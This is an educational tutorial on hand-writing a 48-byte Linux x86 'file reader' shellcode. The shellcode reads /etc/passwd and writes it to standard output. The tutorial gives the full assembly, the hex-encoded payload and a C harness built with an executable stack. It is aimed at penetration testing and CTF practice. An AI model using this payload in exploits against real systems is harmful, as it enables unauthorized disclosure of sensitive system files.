Introduction
During a penetration test or a hacking competition, it is common to use already existing shellcode as the payload in the exploitation of a software vulnerability.
A file reader shellcode is generally a rather small code able to read the content of a file and to write it on the standard output. It can be useful to display the content of sensitive files such as /etc/passwd or the content of a file containing the flag during a CTF.
This shellcode development tutorial explains how to efficiently develop your own File Reader shellcode for a Linux x86 machine.
Prerequisite
To follow this tutorial, you need to run a Linux operating system. We recommend the following software and resources.
Nasm to assemble the x86 code and GCC to compile the testing software.
System Call
We are going to use system calls to requests services from operating system's kernel.
On the Linux kernel system calls are triggered by the interrupt vector 0x80 the instruction is int 0x80.
To code our File Reader shellcode we will use four different system calls :
- 0x05
sys_open
to get the file descriptor. - 0x03
sys_read
to put the content of the file in a buffer. - 0x04
sys_write
to write the content of the buffer on the Standard output. - 0x01
sys_exit
to safely exit the program.
As you can see each system call is associated with a 1 byte number, it has to be set in the EAX
register for x86 programs. Other registers can be used by system calls as parameters.
File Reader /etc/passwd Linux x86 - 48 bytes
The final code is only 48 bytes and NULL byte free. The goal was to create a very compact shellcode using some x86 optimizations and tricks.
global _start
section .text
_start:
xor ecx, ecx
mul ecx
open:
mov al, 0x05
push ecx
push 0x64777373
push 0x61702f63
push 0x74652f2f
mov ebx, esp
int 0x80
read:
xchg eax, ebx
xchg eax, ecx
mov al, 0x03
mov dx, 0x0FFF
inc edx
int 0x80
write:
xchg eax, edx
mov bl, 0x01
shr eax, 0x0A
int 0x80
exit:
xchg eax, ebx
int 0x80
Clear registers
The first step in the code above is to clear EAX
, ECX
and EDX
registers.
After xor ecx, ecx
the register ECX
is equal to 0x00000000
. Then we are using the arithmetic instruction mul ecx
, it will perform an unsigned multiplication EDX:EAX
= EAX
* ECX
the result is stored in the register pair EDX:EAX
.
This is multiplying by zero EDX:EAX
= EAX
* 0
then EAX
and EDX
are both equals to 0x00000000
.
Open file
The second step is to open the file, we are going to use the sys_open
system call.
This system call takes 3 arguments, the pathname on EBX
, the flags on ECX
and the mode on EDX
.
We are pushing the path of the file we want to open on the stack then we are putting the address of the stack in EBX
so it point the pathname string.
Read file
The third step is to put the content of the file in a buffer, the system call sys_read
will do the job.
This system call takes 3 arguments, the file descriptor on EBX
, the buffer on ECX
and the bytes to read on EDX
.
Write content
The fourth step is to write the content of the buffer on the Standard output, we are going to use the sys_write
system call.
This system call takes 3 arguments, a file descriptor on EBX
, the buffer on ECX
and the bytes to read on EDX
.
We are using the file descriptor 1, it is the standard output. You might want to use the file descriptor 2 to write on the standard error.
Exit program
The final step is to exit the program. It is optional, in some situations you might not want to exit. We are going to use the sys_exit
system call.
This system call takes 1 argument on EBX
, it's the exit code.
Testing
If you want to try the shellcode in a C program, you save the code below as test-shellcode.c and compile it with the following command.gcc -m32 -masm=intel -nostdlib -fno-stack-protector -z execstack test-shellcode.c -o test-shellcode
unsigned char shellcode[] = \
"\x31\xC9\xF7\xE1\xB0\x05\x51\x68\x73\x73\x77\x64\x68\x63\x2F\x70"
"\x61\x68\x2F\x2F\x65\x74\x89\xE3\xCD\x80\x93\x91\xB0\x03\x66\xBA"
"\xFF\x0F\x42\xCD\x80\x92\xB3\x01\xC1\xE8\x0A\xCD\x80\x93\xCD\x80";
int _start()
{
// modify all registers
asm("rdtsc");
asm("mov ebx, eax");
asm("mov ecx, eax");
asm("mov edx, eax");
asm("mov esi, eax");
asm("mov edi, eax");
asm("mov ebp, eax");
asm("mov ebx, eax");
// call the shellcode
asm("call shellcode");
return 0;
}
Conclusion
Most of the time it is pointless to develop and optimize your own shellcode because there is probably a public and much smaller one.
But in some situations to do very specific actions on the target machine it's good to know a few tricks in assembly.
We hope you enjoy this payload development tutorial.